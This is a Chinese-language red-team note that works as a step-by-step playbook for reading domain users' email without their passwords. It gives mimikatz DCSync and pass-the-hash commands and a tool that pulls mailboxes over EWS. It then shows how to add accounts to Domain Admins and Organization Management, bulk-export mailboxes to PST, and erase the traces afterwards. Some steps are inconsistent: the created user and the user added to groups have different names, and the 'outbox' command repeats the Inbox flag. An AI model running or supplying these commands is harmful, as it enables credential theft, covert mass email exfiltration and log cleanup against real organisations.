在域中可能会遇到这种需求想读取域内某个用户的邮件,但是获取不到明文只能获取到hash,就可以使用该方法
首先利用dcsync获取域内所有hash:lsadump::dcsync /domain:redteam.com /all /csv
利用获取到的ntml hash本地注入一个cmd,利用cmd无需账户密码信息来进行收信
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:用户 /domain:redteam.com /ntlm:hash /run:cmd" "exit"
工具:https://github.com/pentest-tools-public/Pass-to-hash-EWS
导入邮件所有内容:
pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖收件箱
pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖发件箱
二、获取Exchange服务器权限的情况下导出邮件
在邮件服务器上打开Exchange Management Shell
打开 EMS 所需权限:Organization Management
组成员
提升 'user' 用户为域管权限 and 加入 Organization Management
组
net user user 123456 /add
net group "domain admins" scarlet /add
net group "Organization Management" scarlet /add
Get-ManagementRoleAssignment
查看有无 Mailbox Import Export
的角色,新建一个 Exchange 角色组并将其添加到 Mailbox Import Export
管理角色中
PS > New-RoleGroup –Name "Enterprise Mail Support" -Roles "Mailbox Import Export" -Members Administrator -Description "Import Export_Enterprise Support
创建网络共享文件夹稍后存放保存的邮件
一、获取所有用户邮件地址(导出格式CSV)
Get-Mailbox -ResultSize Unlimited |select displayname,PrimarySmtpAddress |Export-Csv -Encoding utf8 all-email.csv -NoTypeInformation
二、导出指定用户所有邮件
New-MailboxExportRequest -Mailbox Administrator -FilePath "\DC\tempPST\mail.pst"
三、导出指定用户某个时间段邮件
New-MailboxExportRequest -ContentFilter {((Received -gt '02/22/2019 0:00:00') -and (Received -lt '08/25/2019 23:59:59')) -or ((Sent -gt '03/21/2019 0:00:00') -and (Sent -lt '05/09/2019 23:59:59'))} -Mailbox Administrator -FilePath "\DC\tempPST\mail.pst"
导出文件拖会本地,使用outlook打开即可看见该用户的所有邮件内容。
四、清理痕迹
删除角色:Remove-RoleGroup -Identity "Enterprise Mail Support"
删除已完成请求:Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest
从组中删除用户 :net group "Organization Management" scarlet /delete
删除用户(可跳过这步保留用户):net user scarlet /delete
参考文章: